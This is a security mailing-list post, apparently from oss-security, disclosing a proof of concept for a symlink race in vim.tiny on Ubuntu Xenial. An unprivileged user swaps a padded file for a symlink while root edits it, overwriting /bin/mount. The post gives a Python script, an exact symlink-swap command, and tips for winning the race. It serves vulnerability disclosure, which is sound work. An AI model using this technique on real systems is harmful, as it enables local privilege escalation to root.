AW: Security risk of server side text editing in general and vim.tiny specifically

[Fiedler Roman <Roman.Fiedler () ait ac at>]

Hello Alexander,

> Von: Solar Designer [mailto:solar () openwall com]
>
> On Fri, Nov 03, 2017 at 11:07:14AM +0000, Fiedler Roman wrote:
> > PS: POC for vim.tiny on Ubuntu Xenial to overwrite arbitrary files as user
> root when editing file in directory owned by other user is available on
> request, disclosure after one week or if list discussion indicates other 
> timing.
>
> Please post this PoC in here ASAP.  Right now, you're in violation of
> distros list policy for having posted the PoC in there yet not made it
> public on oss-security within 7 days after posting about the issue
> itself in here.  Please correct this.  (To me this is also an example of
> misuse of the distros list, and then of the ability to delay posting the
> PoC - creating administrative work for all of us out of thin air.)

Thanks for the reminder. here is the text from the original mail to your 
[vs]-list:

PS: POC for Ubuntu Xenial to overwrite /bin/mount with custom content by
creating a x.txt as another user (e.g. www-data) and having root edit it using
vim.tiny. Of course attacker would restore everything to normal afterwards
(omitted). On multicore machines, the race is not always won, for testing
purposes you can strace vim (making it slower) or add other machine load, e.g
" (cat /dev/zero | md5sum) &" as www-data. With strace, chance is nearly 100%
to replace /bin/mount with x.txt (including mode, ownership). With 24 md5sum
on a 4 core machine, chance is > 80% to make /bin/mount world writable,
otherwise also replacing the content, changing ownership.

* Create a rogue file of same size as user www-data: In real world attack,
attack would pad a file writeable by him to same size as a system library,
essential binary using spaces or newlines at the end of the file. For demo,
newlines only will do.

#!/usr/bin/python3 -BEsStt

import os

mountSize = os.stat('/bin/mount').st_size
targetFileName = 'x.txt'
targetFile = open(targetFileName, 'wb')
targetFile.write(b'\n' * mountSize)
targetFile.close()
os.chmod(targetFileName, 0o777)

* Use tool from https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=602333 to
replace with symlink. Start it as www-data after root started "vim.tiny x.txt"
but before saving file as root.

./DirModifyInotify --Watch x.txt --MovePath x.txt --LinkTarget
/bin/mount --WatchCount 0

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